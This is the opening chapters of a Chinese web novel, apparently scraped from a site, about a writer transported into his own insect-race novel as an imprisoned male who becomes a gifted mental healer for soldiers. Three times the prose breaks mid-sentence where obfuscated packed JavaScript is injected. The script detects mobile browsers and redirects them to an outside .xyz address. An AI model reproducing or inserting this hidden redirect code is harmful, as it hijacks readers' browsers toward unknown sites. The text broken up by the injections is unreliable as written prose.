《我在虫族监狱写小说》 1. 谁穿越开局进监狱啊 “被告虫安诺,犯下故意伤害罪、虐待罪、侮辱罪……情节严重。因是雄虫,免除死刑,改为充军服役。收押至第一军区监狱,刑期999年,即刻执行!” 法官敲下代表正义和公正的法槌。 审判庭中掌声雷动,闪光灯不断。 安若站在被告席上,只觉自己误入了一场盛大而荒诞的电影。 他穿越了。 穿成了一个虐雌犯雄虫。 很小说的情节。 更让他不愿意面对的是,这好像还是他自己多年前写下的小说。 时间过去太久,具体内容已经记不清了。 这只雄虫在原文中也只提到过一句,仅作为文中大反派元帅的糟糕过往背景而存在,是背景里的背景,连炮灰都算不上。 然而,他现在成了这个背景故事里的一环,一切都真实发生在他眼前。 他将要被带去军区当精神梳理师。 这是好听一点的说法。 难听的写出来都过不了审。 负责押送的军雌已经来到了他身边。 一个个全副武装,面容冷肃。 “请吧,安诺阁下。” “我不是……” 没有解释的机会,军雌粗暴地将他从席位后拽了出来,给他的脖颈套上抑制器,押解他离开法庭。 更多的闪光灯落在他身上,闪得他几乎睁不开眼。 安若在挣扎中扭头。 媒体和雌虫激动而狂热,夹杂着几个雄虫面色难看,眼中隐有恐慌。 而在这一片混乱之中,身披军装的黑发军雌静坐在席位上,低垂眼眸,似在出神,像是这满屋的嘈杂喧嚣都与他无关。 似是感觉到他的目光,那黑发军官抬眸看来,如金属般冰冷死寂的银灰色眼睛看向他,眸中没有任何情绪。 无悲也无喜。 没有恨意,也没有释然,像只是看着一个既定的结果。 时钟走到了它该走的位置。 溪流最终汇入大海。 残暴的雄虫终会被审判,被投入军区监狱。 而在这个案件判决之后,尤利西斯上将在雌虫中的声望空前高涨,权力和拥护达到顶峰,毫无悬念地继任元帅之位。 这是安若亲手写下的剧情。 反派总需要有一些或悲惨或扭曲的过往,那些过往又最终化作他向上的动力和养料,被他蚕食,助他登上高位。 那些黑暗的过往也进一步影响着他的思想观念,让他变得极端,走上不归路,成为“反派”。 最后再被天命主角打倒,死在主角手里。 这只是再寻常不过的故事写法。 但如果安若早知道这一切会真实地发生在另一个世界,知道自己会变成这个代表反派糟糕过往雄虫,他会换一种写法。 或许不需要这么一只雄虫。 也不需要那么糟糕的过往。 甚至不需要划分正反派。 但现在一切已经晚了。 雄虫被押解出审判庭。 尤利西斯看着空荡荡的门口,想起雄虫最后那奇怪的一眼,不由微凝起眉。 …… “这是你的房间。” “你有半星时的时间更换衣服,之后会有机器虫来给你送餐。” 军雌交代完,透明的监舍门缓缓合上。 安若站在满是金属感的监舍里,打量这间陌生的房间。 单人间,有一张大床,一套桌椅,以及一间隔断出来的浴室。 作为监狱,这里的环境能称得上不错。 但房间中央的床大得让人不安。 不像是监狱里该有的配套设施,更像是酒店套房里情侣大床。 它的作用显而易见。 安若深吸一口气,让自己冷静下来。 情况还没到最糟糕的那一步。 但也快了。 军方到底是代表着联邦的官方军事组织,不至于做出强迫雄虫卖身的事。 他们派发给雄虫的只有精神梳理任务。 至于雄虫为了完成任务,跟雌虫做到哪一步,那是雄虫跟雌虫自己的决定,与军方无关。 更糟糕的是,安若根本不会什么“精神梳理”。 他连自己有没有精神力都不知道。 他也写过精神力强大的雄虫主角,能将精神力作为武器攻击,以意念的方式改变其他虫的认知,甚至做到改变炮弹轨迹、撕裂空间等不可思议的事情。 但他脑海中空空荡荡。 完蛋了。 如果连精神梳理都做不了,那雄虫就真的只剩下一个用处了。 跟雌虫睡觉生蛋。 监狱方甚至不用出面要求他做什么,他们有的是办法让雄虫主动跟雌虫睡觉。 滴滴。 送餐的小机器虫出现在门口。 房门自动开启,白色的小机器虫托着餐盘进入。 安若看着敞开的房门,胸腔下的心脏重重跳了一下,想要趁机逃跑。 “您的晚餐到了,请用餐。” 耳边响起的机械音让他理智回归。 一只雄虫、甚至是连精神力都没有的雄虫,想从守卫森严的军区监狱逃出去,无疑是异想天开。 小机器虫放下餐盘,扫描到他身上的衣服,响起提示声。 “着装不规范,请您立刻更换制服。如有不便,可申请协助。” “……” 安若并不想体验它所说的协助。 他拿起桌上摆放的白色监狱制服,进入浴室更换。 出来后,机器虫收走了他原本的衣服,并给他发了一个带编号的手环。 B-999-01 红色的编号印刻在手环上。 看起来他是第一只被判999年的雄虫。 至于前面的字母,应该代表着他的等级,原身的等级。 他将手环戴上,蓝光亮起闪烁,手环自动收缩,与他手腕彻底贴合。 一个光屏出现在他面前,显示着监狱的管理条例跟他的任务。 作为一只B级雄虫,他需要每天为至少10只同等级军雌做精神梳理。 又或者为2只A级军雌做精神梳理。 这是基础任务。军方鼓励雄虫治疗更多军雌,多出来的算功劳,计贡献点。 贡献点可以用来改善生活,贡献点积累得足够多还有机会换取减刑。 安若想到自己999年的刑期。 且不提他有没有精神力这件事,军方根本就没想过让他从监狱出去。 监狱提供的晚餐是一份营养液。 绿色的,冒着泡泡,看起来像什么奇奇怪怪的实验药水。 安若毫无胃口。 22点,监舍准时熄灯。 外边的走道灯倒是还亮着。 被监视的感觉很明显。 安若安静缩在床角,卷着被子,摆弄手腕的终端手环。 这是一个终端,限制颇多,无法与外界联系。 就算能联系,他也不知道能联系谁。 但有基础的上网和娱乐功能。 小说漫画游戏视频,都有。 监狱居然给囚犯提供这些虚拟娱乐? 会不会太人性化了点?又或者虫性化? 想到雄虫的精神力跟健康 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679361|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 状态息息相关,安若又随之了然。 这是为了维护雄虫的心理健康。 军区的雄虫是贵重的军需品,需要维护保养,这是必要的支出。 安若漫无目的地刷着,忍不住搜了一些内容。 关于雄虫军区服刑、精神梳理等。 有一篇不久前的新闻报道,上面是某B级雄虫为期3个月的刑期结束,离开军区。 视频中,雄虫虚得不行,被搀扶着,站都站不稳,一副被榨干了的模样。 安若赶紧退出。 这太恐怖了。 3个月将一只雄虫压榨成这个样子。 以他的刑期长度,可以完全不用活了。 慌得心率不宁,安若转而搜索精神力相关,死马当活马医。 精神力是什么? 怎么发现精神力? 怎么控制精神力? 怎么进行精神梳理? 幼崽都能学会的精神梳理教程。 安若根本没有掩饰自己对精神力的一窍不通。 他知道自己的终端在军方监视下,有可能暴露。 但他都要死了,要被拖去当雄妓配种了,哪还管得了这些? 反正他说他不是安诺,对方也不信。 早上6点,监狱铃声响起,房间里的灯也亮了起来。 安若揉了揉酸痛的眼睛,有些僵硬地从披着的被子里抬起头。 昨天发生的一切就像是一个噩梦。 直到现在梦还没醒。 好在他隐约把握到一点精神力。 控制起很困难。 不确定能不能做精神梳理这么细致的东西。 但至少他是有精神力的。 只要有精神力,就还有一丝希望。 安若从床上起身,去浴室洗漱。 撩了把水拍在脸上,让大脑清醒,将自己好好打理了一下。 他第一次在镜子里看到自己现在的样子。 最惹眼的是那一头漂亮的铂金长发。 哪怕刚刚早起,翘着几根乱糟糟的呆毛,都丝毫不影响它的光泽和美丽。 眼睛是翡翠般的绿色。是任何美瞳都仿造不出的自然与瑰丽,像是宝石。 但这样的颜色出现在自己脸上,让安若觉得怪异。 五官跟他原本的样子很像。 但更加精致美丽,像是游戏CG或者是油画。 这种相似和不同混在一起,有一种独特的非人感,让安若心里不适。 他移开视线,不再看。 熟悉的机械音响起。 小机器虫将早餐送来,依旧是营养液。 安若尝试着喝了一口,像是饮料,带着点甜意,味道没有他想象中的怪异,且在入腹的一瞬间就带来饱足和充盈感,让人觉得疲惫扫尽,精力十足。 安若将昨晚那袋没喝的营养液留了下来,机器虫没有任何反应,只将他喝完的空袋子收走,还给他收拾了床铺,打扫了卫生。 如果抛开那999年的刑期、压在身上的精神梳理任务、以及随时可能失身的危机不谈,监舍的生活安若还挺喜欢。 单间,干净,安静,没有虫来打扰他,不用强制社交,有机器虫来送饭、打扫卫生,终端里有小说游戏漫画等娱乐,监狱作息规律,安保也好…… 是很适合安静写作的环境。 写书人就是这样的,哪怕穿进自己的小说里,受尽苦果,只要有机会,还是想继续写小说。 当然,他不会再在小说里放家暴雄虫了,就算是背景里的背景都不会有。 他决定以后只写纯纯的恋爱故事。 安全第一。 2. 虫族式小说 早上七点,狱警出现在门口,随之而来的还有一位戴白手套的高级军官。 “希望我没有打扰到您休息,安诺阁下。” 军官用词礼貌而尊重,只是看向他的眸光冰冷。 安若知道自己作为雄虫家暴案件的当事虫,被虐待的另一方还是军区上将,他在军雌中的名声有多差。 并不指望军雌们对他有多好的态度。 “我是第三军团少将,乌列尔,军区监狱的事务暂时归我管理。” 军官对他做自我介绍,嘴角噙着没有温度的笑意。 乌列尔…… 安若觉得这个名字有些熟悉。 看到对方标志性的银发蓝眼,安若脑海中浮现出一些模糊的内容,将对方跟书中角色对上了号。 这是文中主角的上峰,剧情开始后的“乌列尔中将”,文中少有的S级雌虫之一。 也是……尤利西斯曾经的副官。 伤害过长官的雄虫落在自己手上该怎么办? ——当然要好好“款待”。 安若觉得自己的小命有些悬。 他绞着衣角,低垂的睫毛不安颤抖。 “……” 似是没料到雄虫会这么沉默寡言,乌列尔也没了问候的兴致,直接切入正题。 “想必监狱的条例您已经看了,您需要完成对10名军雌的精神梳理,您准备在治疗室进行,还是……您的房间?” “治疗室。” 安若低声道。 乌列尔意外看了他一眼。 军雌的警惕心强,精神域难以打开,所以雄虫一般会选择先从身体上打开军雌,使军雌在信息素的作用下软化,丧失抵抗,从而更顺利地进行精神梳理。 这样配合信息素的精神梳理效果也往往会更好。 很少有雄虫会选择在治疗室梳理,那会更费力。 不过考虑到面前的雄虫是新来的,都没真正进入过军雌的精神域,也不是不能理解。 “好的,既然这是您的意愿。” 乌列尔将雄虫带去治疗室。 空荡的房间,只有一张桌子,两把椅子。 乌列尔站在桌边,安若在房间里侧的椅子上坐下,整了整袖口。 他穿着纯白的衣服,手搭在桌上,面对门口。 心中升起一种荒谬感。 自己似乎成为了一个医生。 无证上岗的那种。 他即将面诊他的第一个病“人”,且很可能被当场揭穿,立刻下岗。 他的从业经验为1+1。 1个晚上搜资料学习,加1个早上无实物练习。 安若的心从没有像这一刻这么虚。 很快,第一个军雌在门口报告。 乌列尔让他进来,他自己却守在一旁,没有要走的意思。 被这样一只S级雌虫盯着,安若更加紧张。 他试探着朝对面的军雌探出精神丝线。 他的精神力很难调动,根本达不到书中雄虫主角的如臂使指 ,甚至连星网教程中的都比不上。 颈环“滴”的一声,安若只觉大脑骤然一松,像是头顶的紧箍咒突然掉了,精神力如潮水般涌出。 安若忽地意识到,他脖子上的抑制器并非像雌虫那样抑制身体能力,而是抑制雄虫的精神力。 雄虫的体能对军雌来说毫无威胁,就算雄虫在监狱里乱跑,军雌也能轻松将其提溜回去。 雄虫的精神力才是他们既需要又恐惧的东西。 所以……不是他的精神力难以掌控,而他在抑制器的限制下,依旧能调用精神力。 这其实代表着他的精神力等级高于抑制器的最高限制范围。 安若垂下眸,没有在乌列尔面前表现出异样,学着星网教程中的那样,将精神力探入雌虫的大脑。 “每只雌虫的精神内景都有所不同,在他们精神域深处有着他们最真实的呈现,雄虫要做的就是修复好、维护好它们。” ——《幼崽都能学会的精神梳理教程》某不愿透露姓名的知名雄虫。 安若只看到了一艘残破的飞船。 它静静悬浮在荒芜宇宙中。 这是一只来自远征军的军雌,有着严重的战争创伤。 飞船上布满了炮火留下的痕迹,千疮百孔。 安若的精神力覆盖上去,一点点修补它。 【精神状态评估:25,32,40……52,62……77,80……】 乌列尔盯着检测器上不断上涨的评分。 精神状态颜色从危险的红色逐渐转成橙色,再是黄色,绿色,最后甚至到达了满值的蓝色。 【精神状态100分】 乌列尔呼吸一滞,瞳孔地震。 就连外边守卫的军雌听到这个提示声,也不由偏头看向治疗室。 作为军雌,他们太懂得这个数值意味着什么了。 大多数军雌的精神数值都在40-60左右徘徊,刚从战场上下来的军雌,精神数值甚至会一度掉到20-30。 精神数值越低,也就越难恢复。 如果有雄主,且雄主还算有责任心、对家中雌虫还算爱护的话还好,有机会让精神状态脱离危险值。 如果没有雄主,要么就要贴上毕生积蓄去找精神梳理师,要么就只能等死。 为了缓解这个问题,联邦将犯罪的雄虫送到军区服役。 这种倒是不需要军雌奉上积蓄,算是福利性质的,只是要排队。 军区的雄虫太少,需要治疗的军雌又太多,许多军雌终其一生都在排队等待,等一个获得治疗的机会。 安若找不到地方治疗了,便退了出来。 他不确定自己做得怎么样,有些忐忑。 要修补的地方都修补了,他还帮他里里外外清理了一遍,应该……至少是合格了吧? 一退出,就看到旁边的乌列尔少将神情莫名,而对面的军雌大汉在哭,泪流满面。 啊? 出医疗事故了? 安若吓到僵直。 “安诺阁下……” 军雌声音哽咽,起身绕过桌子,向他走来。 安若连忙抱头。 “别打我!我会赔偿的!” 虽然他没钱。 “不,阁下,请千万不要这么说。” 军雌在他身旁蹲下,闪着狗狗眼。 “我并没有伤害您的意思,更不用什么赔偿,应该是我感谢您才对。请让我为您做点什么吧,我的积蓄都可以给您,或者您还缺雌侍吗?雌奴也行……” 乌列尔原本站在一旁任由他表达感激,听后边越说越离谱,赶紧让虫把他拖下去。 雌虫接受精神梳理后,对雄虫的好感度会up up上升。 刚被梳理完的时候,甚至会短暂上升到迷恋的程度。 更何况雄虫刚完成一场满分的梳理,在军雌本身感激的催化下,这种不理智的程度还会加剧。 乌列尔警觉盯着雄虫,道: “他刚刚的话不必当真。” 军部不会阻止军雌对雄虫表达感激、送上礼物,但全部积蓄跟当雌奴还是太过了。 “哦哦……” 安若其实有些没回过神。 “我刚刚的精神梳理是没问题吗?成功了?” 他眨着明亮的眼睛,不敢置信问。 “……当然。” 乌列尔没想到他会问出这样的问题,反倒奇怪的看了他一眼。 “何止是没问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679362|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题……您做得非常好,满分。” 不会有比那更好的了。 雄虫能将雌虫的精神状态拉到60分,就是很成功的梳理。 安诺的表现完全远超预期。 乌列尔难掩心中激动,问: “您还能继续吗?又或者休息一会?” 他现在变得相当好说话。 想起刚刚军雌喜极而泣的模样,安若感受了下自己的精神力,没什么疲惫的感觉,于是道: “下一个。” …… 只用了两个星时,安若就完成了今天的所有任务。 这还是他不熟练加有意控制的结果。 从乌列尔不时问他需不需要休息的表现来看,他可能做得太好了,超出了一般雄虫该有的速度。 于是,在梳理完十只雌虫后,安若适当地表现出一些疲惫。 乌列尔亲自送他回房间休息。 路上主动放缓脚步,配合他的速度。 他对他的态度缓和了许多,周身冷意消退。 看他的目光称得上热切。 安若能猜到他的想法。 长官的前雄主已经沦落到监狱里了,款待不款待没那么重要。 比起那些,一个能稳定梳理出100分的雄虫,对军部的用处更大。 对上乌列尔的目光,安若相信,对方绝对想把他一辈子留在监狱里。 反正他也出不去。 “请您好好休息,有什么需要随时叫我。” 乌列尔贴心地为他打开囚室门,退至一旁。 “……” 如果忽视这是在监狱里的话,他尽职尽责得像一个管家。 安若回到房间,在乌列尔离开后,扑到床上瘫成一张饼。 这一关总算是过了。 短期内没有被强制卖身的危机。 他想起什么,打开终端,给昨天那个教学视频点了个赞。 对方教的真的很好,简单易懂,不愧是号称连幼崽都能学会。 机器虫提前送来了今天的午餐。 除了固定营养液,还多了两管精力药剂,以及几枚红色的水果。 干活跟不干活果然差距很大。 安若咬了口鲜红多汁的果子,坐在桌前,浏览星网。 他找了个小说网站点进去,准备看点虫族小说下饭。 虫族的小说题材实在少得乏味,大致只分为两类:军事战争,雌雄感情。 安若先点进去军事战争分类看了眼,很快被满屏马赛克的血腥描写弄得退了出来。 他是想下饭,不是想催吐。 都把他弄得没胃口了。 安若放下啃了一半的果子,点进感情分类,想缓和一下心情。 半小时后,安若极端暴躁地退出来。 他在满屏的暴力和黄色中,找到了0的感情。 天啊!居然是0添加! 虫族的感情文,充满了暴力、黄色、宅斗、狗血、虐恋……哦不,只有虐,没有恋。 就是那种开头气死个人、中间气死个人、想看后续发展、崛起打脸夺回一切……结果结尾还是气死个人!!! 看了就血压升高,想要报警。 觉得看这种东西纯属浪费时间! 结果评论区雌虫们在一边看、一边难过、一边想原谅雄虫、一边表示这就是现实文学、雌雄之间的感情就是这样的。 安若:“???” 哈? 去你的现实文学!我要看恋爱文!! 真正的恋爱文!!! 哪怕是虐恋,只有虐没有恋,那也是垃圾!!! 安若被虫族式恋爱气得不轻,怒上心头,表达欲爆棚,当场打开文档就是一顿输出。 3. 雄虫新兵x昔日教官1 安若以今天了解到的远征军为灵感,怒敲一章文。 写时纯属情绪上头,写完才想起自己在监狱里。 监狱发的终端限制颇多,应该发不出去……发出去了? 短暂的审核后,显示出“发表成功”的字样。 安若都愣了。 居然发出去了?他本来都做好了在监狱写一辈子书,等刑期过去,或者说等他死后,再以遗作的方式被发现和发表的心理准备。 那样也不是不行,就是会比较孤独,看不到读者的反馈,会很遗憾。 而现在是最好的情况。 安若看着发表成功的小说,第一次对未来充满了期待。 就连冰冷封闭的监狱房间,都在此刻变得像一个宜居的小窝。 · 赛文是一只军雌,来自第九军团,远征军。 他刚从战场上下来,精神状态糟糕,正归家修养。 忽地听说同为第九军团的战友好运气地排到了军区的精神梳理,一下从精神状态极危恢复到了100分的完美状态。 赛文仔细看了那个数字好一会,甚至怀疑对方写错了。 但这件事已经传遍了整个第九军团,那个幸运的小子还去训练室开着机甲打了一圈,晒出了一份非常漂亮的数据单。 任谁都看得出那家伙的状态有多好。 这个他是真嫉妒啊! 他赶紧去了解那位雄虫梳理师的信息,结果得知对方的治疗号已经排满了,爆满的那种! 一些已经在其他雄虫那里排了几年、快要排到了的虫,甚至临时改了号,去排那位雄虫阁下。 100分的精神数值诱.惑力太大。 其他雄虫的梳理,或许能将30分提到50-60分。 但那可是100分的完美状态! 大多数雌虫只在幼崽期体验过这么好的精神状态。 赛文看着早已爆满的排队申请,不甘地点了个预约排队。 不过以他的情况,想要排到,至少得等几年,甚至十几年都说不定。 这也是没办法的事,军区的精神梳理永远是虫多肉少。 比虫族的婚姻市场还有过之而无不及。 赛文情绪低落,退出军部内部频道,点进星网,想要找点娱乐改善心情。 他是真正开过机甲、上过战场的军雌。 过往喜欢的竞技游戏已经吸引不了他,就连军事战争小说在他眼里也漏洞百出。 不知不觉点进了感情板块。 …… 小说发表和更新新章后,会进入“最近更新”列表,有一个星时的曝光。 一些想尝鲜的雌虫亚雌会来这里逛逛,有机率淘到有意思的新书。 雄虫是不爱看这些的。 军事战争他们不感兴趣,雌虫写的雌雄感情文他们又难以代入,看起来怪怪的。 雌虫看这些文就很容易代入了。 未婚雌虫对雄虫的想象大多来自网络。 像是书中主角那样,被雄虫看中,纳为雌侍,获得一段时间雄虫的宠爱,被其他雌虫眼热嫉妒。就算一段时间后雄虫移情别恋、宠爱不再,也怀上了虫蛋,有了珍爱的幼崽。偶尔被雄虫想起,还能被叫去服侍。 这就是许多雌虫对雄虫宠爱和婚后美好生活的最终想象。 赛文也是这类雌雄小说的忠实读者。 许多经典文他都看过,现在想找一本新小说。 他的视线从那一列最近更新的新书上扫过,忽地停了住。 【远征归来,精神域受损,接受基因匹配准备结婚,前来赴约的雄虫是当年被我虐得体无完肤的雄虫新兵】 “???” 这是什么? 远征军和……雄虫新兵? 赛文反应过来时,手已经点了进去。 军队也是招收雄虫的。 这是上一任雄虫执政官留下的政策,目的在于鼓励雄虫追求星辰大海。 当然,更现实的作用是吸引雌虫参军,调动军雌积极性。 整体来说这是个面子工程,宣传作用大于实际。 军方也不可能真把雄虫派去上战场。 赛文所在的第九军团,曾有过五只雄虫新兵。 第九军团驻地在联邦边缘星系,环境恶劣。 五只雄虫,一年内跑了四只。 或是走关系申请调去了更富饶宜居的星球,或是请假回家结婚。 只有一只雄虫留了下来。 那是首都星总督的次子,娇生惯养的小少爷。 所有虫都觉得他迟早会走,结果他一留就是三年。 想到那位雄虫阁下,赛文心口发热。 第九军团所有未婚军雌都是那位阁下的爱慕者,他也不例外。 若不是他们上校太冷酷无情,跟对方结下梁子,他或许还能鼓起勇气去追求那位雄虫阁下。 哪怕拼不到雌侍之位,能被对方多看一眼也是好的。 作为远征军的一员、军团里又有过雄虫,赛文对这样的故事有着很强的代入感。 虽然简介后半句“把雄虫虐得体无完肤”实在令虫不明所以。 ——像他们上校那样的傻虫,这世上居然还能出现第二个? 虽然不理解,赛文还是怀着对雄虫的期待和憧憬点了进去。 然后在看到开头的名字时,差点把手里的终端丢了出去。 …… 【克莱尔又一次从混乱无序的梦里醒来,一时分不清自己是在战场上,还是已经回到家中。 他的精神域受损严重,时常会觉得自己置身于战场上,满目猩红,到处都是量子武器的能量光波。 他想要撕毁一切,最后往往发现被撕毁的是自己被子、桌子、衣柜…… 终端的“滴滴”声唤回了他的意识。 “精神数值测评:21分,状态评估:极度危险!需要为你预约精神梳理吗?” 精神梳理…… 呵。 克莱尔撑着头痛欲裂的脑袋,嘴角扯出自嘲的一笑。 21分的极危数值,还是军雌,没有精神梳理师会接这么麻烦而危险的活。 市面上的精神梳理师,大多是需要赚钱补贴家用的普通雄虫,能力有限,也并不愿意冒险。 偶尔有几个高等级阁下匿名出来接一两单,也大多是玩玩的性质,不会专门给自己找麻烦。 而军雌既危险又麻烦。 “或许你需要找个雄虫结婚。” 终端智能再度建议。 结婚…… 克莱尔洗漱的动作一顿,抬眸看向镜中的雌虫。 一只典型的军雌。 面容冷肃,一夜没睡好的眼睛里布满血丝,带着从战场上下来的戾气,显得疲惫而凶厉。 像是他这个年纪的军雌大多已经成家。 就算要求高、挑剔些的,也早早开始相看合适的雄虫,有过一段或几段恋情。 他为什么迟迟没结婚呢? 是最开始没这个需求,更专注在战场上厮杀拼搏,等意识到时已经太晚? 还是早早认识到婚姻绝望的本质,不愿意踏入那个会让他溺亡的坟墓? 亦或者只是单纯地没有遇见合适的虫? 脑海中浮现一个模糊的影像……分外明亮耀眼的发色。 克莱尔猛地甩甩脑袋,在骤然响起的水声中,撩了把冰冷的水打在脸上,将那尚未成形的影像驱散。 那不是他该想的。 又一条终端提示弹了出来。 这次是一份基因匹配通知。 克莱尔的心骤然沉了下去,渐渐回归死寂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679363|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或许,他真的该结婚了。】 …… 【“这身衣服太老气,你真的打算这样去见雄虫吗?” 终端智能对他的审美表示质疑。 克莱尔看着穿衣镜中的自己,并不觉得有什么问题。 很合身的正装,黑色修身款,带着些军事风格的干净利落,又不像真正的军装那样惹眼。 “太普通了!这种风格打扮早就过时了!根本没法抓住雄虫的心!说实话你这一套我只能给20分,十分给颜值,十分给身材,衣服本身的时尚性零分。” 克莱尔抬手整理衣领,双目渐渐放空。 作为一个智能终端,它太吵了些,自主性也太高了,并不是军雌会喜欢的风格。 当初为什么设定这个性格呢? 因为……有些像记忆中的某只雄虫…… 克莱尔赶紧拉回跑偏的思绪。 或许是精神状态糟糕的原因,他最近总是容易出神,注意力分散。 这不是个好现象。 等到哪天他连自己的思想都无法控制了,或许就是他步入死亡的时刻。 因为终端智能的嫌弃,克莱尔最后勉为其难佩戴上两枚领针和袖扣,作为装点。 雄虫选择的见面地点在漫花酒店。 那是花的世界,浪漫的花海加上清新的绿植,是雄虫会喜欢的氛围。 而且消费贵,高档,有格调,雄虫就更喜欢了。 对雌虫来说,这也是个在雄虫面前展示财力的机会。 许多雌虫也会主动将约会地点选择在这里,不求在雄虫心中拉高评分,至少不会出错。 他们不算是约会。 硬要说的话,是相亲见面。 最终结果还未可知。 雄虫未必会选择他。 克莱尔能说出自己的许多缺点。 年纪大了……以虫族平均500年的寿命来看,根本不算大,甚至能说是很年轻。若是雄虫年纪更小另说。 军衔只有上校……这已经很出色了,在普通虫中,算得上是极为优秀。但如果想更往上一层,还是很难,至少得少将够得到入门劵。 性子不好……军雌冷淡无趣是公认的,克莱尔上校在军中的脾气会更火爆一些,但到了外边也同样无趣,总之不是会讨雄虫喜欢的性格。 比上不足,比下有余。 这是一个当普通雄虫的雌君绰绰有余的条件。 只要他别去奢想更多。 擦亮眼睛,选择一个不算太糟糕的雄虫,就能过上平静冷淡、如一滩死水般的婚后生活。 精神状态也能得到一定改善,如果雄虫还算负责的话。 进入酒店前,克莱尔是这样想的。 可当他看到坐在靠窗位置、身体笼罩在温暖阳光下的雄虫时,他骤然一僵,所思所想全忘了。 那是个极为漂亮耀眼的雄虫,有着明亮而鲜艳红色短发,眼睛是青葱绿意的华贵宝石。 对比极强的颜色,在他身上却融合得恰到好处,反而凸显了他极具冲击力的美貌。 他坐在那里,满室的繁花就都失去了色彩,全成了陪衬。 他身上看不到寻常雄虫的娇柔懒散。 哪怕是随意坐着、漫不经心地搅拌饮料,也始终背脊笔挺,姿势优雅,像是已经将习惯刻入骨髓。 与其形成鲜明对比的克莱尔四肢僵硬,形容狼狈,大脑几乎停止运转。 第一个升起的念头是逃离这里,不要被他看到。 但已经晚了。 雄虫已经看了过来。 碧绿如宝石的眼睛锁定在他身上。 雄虫嘴唇轻启,唤了一声。 克莱尔脑袋嗡嗡,根本没听清雄虫的声音。 但他认得那个口型。 “教官。” ……】 4. 雄虫新兵x昔日教官2 看到这,已经有雌虫读者在留言讨论。 [好帅好美的雄虫阁下,舔舔。] [第一次看到这种风格的雄虫阁下,光看文字就能想象到这位阁下多有魅力。] [称呼是“教官”,居然真的是军队里的雄虫吗?军队还招雄虫?] [招的,但要求很高,一般雄虫根本达不到入伍体能标准。就算体能考核过关,大多也撑不过役前训练,真正能成为雄虫士兵的少之又少。] [也就是说,这至少是一位B级,甚至A级的阁下,还是特别优质的那种。] [所以……简介那句是认真的吗?真有魔鬼教官把这么稀有的雄虫往死里练?] [完了,克莱尔死定了。本来精神域就受损,急需雄虫的精神梳理,结果基因匹配到还是跟自己有旧怨的雄虫,雄虫阁下不会放过他的。] [这也是他自己活该。] [总感觉没那么简单……克莱尔的反应很奇怪。] …… 【已经被叫住,克莱尔失去了离开的机会。 他只能走过去,向雄虫问好。 “席安……阁下。” 他用上了对雄虫的尊称。 在军中他是席安的长官,当然不需要这样称呼。 但到了外面不同。 克莱尔的目光在雄虫身上停驻,觉得他变了很多。 更沉稳了。 他们已经有许久没见过面。自从克莱尔远征,就再没见过。 在那之前,他收到过席安的远征申请。他驳回了。 联邦不可能让雄虫上战场,更何况是远离虫族疆域的远征。 这是远征归来后,他们的第一次见面。 他或许应该说点什么。 比如一句“好久不见”,又比如恭喜他晋升少尉。 又或者是劝他饮料里少加些冰……这句不适合说,雄虫大多叛逆又自我,绝不会喜欢这种长辈式的说教。 但他还闻到了酒精的味道。 这是一杯酒精饮料。 克莱尔微凝起眉,看向雄虫的目光带着些隐晦的不赞同。 席安轻笑。 “别用那种眼神看我,长官,这只是低浓度果酒罢了,对雄虫的身体造成不了什么危害。” “我不是这个意思……” 克莱尔尴尬移开视线,却猛地瞧见桌对面还有一杯饮品。 显然是为另一只虫准备的。 ——他和虫有约。 克莱尔的呼吸停滞了一瞬。 是了,漫花酒店可是情侣们的约会圣地,来这里的虫当然是有伴的。 或许是精神域实在坏得严重,克莱尔一阵眩晕,眼前出现了片刻的重影。 “教官,你还好吗?你的脸色看起来很糟糕。” 席安伸手想扶他,眼里透着担心。 “不,我没事。” 克莱尔后退了一步,避开他伸过来的手。 他知道自己现在的模样有多糟糕。 形容狼狈,眼带血丝,脸色极差。 一副像是要被送进狂暴雌虫收容所的模样。 他不该再在这里待下去了。 克莱尔勉强道:“没想到会在这里遇见阁下,既然阁下还有约,我就不打扰了。” 说着微一欠身,转身就走。 席安:“???” “等等!” 席安叫住他,被他的举动气得想笑,语气也不复先前的平静矜贵,露出了些许尖锐锋芒。 “刚来就走,这不好吧?” “把雄虫独自抛下,可不是有修养的雌虫该有的行为……还是说这种事你经常做?” “哦,对了,某只虫可是把我一只虫丢在第九行星,自己跑去远征。” 说到最后,话语中的尖刺几乎化成实质。 克莱尔被迫停下脚步。 雄虫的怒意无比鲜明,他走不掉。 席安还是那个席安,即使外表成熟稳重了,对他的怨恨也不会随着时间而消解,只会愈演愈烈。 克莱尔沉默返回。 如果这能让雄虫稍稍消气的话…… “坐,我们聊聊。” 席安盯着他,语气依旧冷硬。 视线触及那杯蓝色饮品,克莱尔略微犹豫。 